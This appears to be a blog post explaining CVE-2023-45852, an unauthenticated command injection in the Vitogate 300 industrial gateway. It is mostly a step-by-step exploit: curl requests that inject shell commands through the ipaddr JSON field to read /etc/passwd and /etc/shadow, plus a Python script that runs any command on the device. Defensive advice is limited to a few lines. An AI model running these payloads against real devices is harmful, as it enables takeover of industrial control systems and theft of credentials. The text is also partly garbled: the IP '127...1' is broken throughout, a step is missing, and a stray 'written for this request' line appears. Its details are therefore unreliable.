In late 2023, a critical vulnerability was discovered in Vitogate 300 version 2.1.3., a device commonly used for industrial control and monitoring. The flaw, designated as CVE-2023-45852, allows attackers to bypass authentication and execute any command on the system—all without needing credentials.

The root cause? An insecure API endpoint, /cgi-bin/vitogate.cgi, fails to sanitize input. By sending specially-crafted JSON to this endpoint, anyone on the network can execute shell commands via the ipaddr parameter.

This post explains the vulnerability in simple terms, walks through an exploit step-by-step, and provides resources for further reading. All technical details are included for educational purposes only.

Version: 2.1.3.

- Vulnerability Endpoint: /cgi-bin/vitogate.cgi

Vulnerability Details

The flaw lies in the way the backend handles JSON input for the ipaddr parameter in a put request (likely RESTful API method). The input is passed directly to a shell command—without cleaning it for harmful symbols. Attackers can add shell metacharacters (like ;, &&, |) to piggyback their own malicious commands.

Suppose the backend is expecting something like

{ "ipaddr": "192.168.1.10" }

Instead, an attacker sends

{ "ipaddr": "127...1; cat /etc/passwd" }

The backend effectively runs

ping 127...1; cat /etc/passwd

Now, instead of just pinging an IP, it also prints out the system password file—a massive security breach.

1. Find The Vulnerable Endpoint

The endpoint is at /cgi-bin/vitogate.cgi. It's almost certainly accessible via HTTP POST requests.

You don't need to log in. Just send a request like this (using curl)

curl -i -X POST http://VITOGATE_IP/cgi-bin/vitogate.cgi \
  -H "Content-Type: application/json" \
  -d '{"ipaddr": "127...1;whoami"}'

3. What Happens Next?

The backend blindly inserts 127...1;whoami into its shell command. So, after "pinging" 127...1, it runs whoami on the device and might return the output in the HTTP response.

#### Full Example: Read /etc/shadow

curl -i -X POST http://VITOGATE_IP/cgi-bin/vitogate.cgi \
  -H "Content-Type: application/json" \
  -d '{"ipaddr": "127...1; cat /etc/shadow"}'

If the process is running as root, you'll see hashed passwords and account data in the output.

Here's a minimal Python script for automating the exploit

import requests
import sys

target = 'http://VITOGATE_IP/cgi-bin/vitogate.cgi'
cmd = sys.argv[1] if len(sys.argv) > 1 else 'id'
payload = {'ipaddr': f'127...1;{cmd}'}
headers = {'Content-Type': 'application/json'}

response = requests.post(target, json=payload, headers=headers)
print(response.text)

Usage:
python3 exploit.py "cat /etc/passwd"

- NIST NVD Entry - CVE-2023-45852
- Seebug.org - CNVD-2023-101008
- Exploit Database Snapshot

Block external access to the device, using firewall rules.

- Monitor logs for suspicious requests to /cgi-bin/vitogate.cgi.

Conclusion

CVE-2023-45852 is a critical security flaw in the Vitogate 300 2.1.3.. It allows anyone who can reach the API endpoint to run arbitrary commands on the system, bypassing all authentication.

Using simple shell metacharacters in JSON data, attackers can steal data, take over the hardware, or pivot deeper into a network. Defenders must patch and segment their networks immediately.


> Disclaimer:
> This post is for educational purposes only. Do not use this information to attack systems without authorization.


*Written exclusively for this request. For up-to-date details, always check original advisories and the vendor’s own channels.*

Timeline

Published on: 10/14/2023 02:15:09 UTC
Last modified on: 10/18/2023 21:02:05 UTC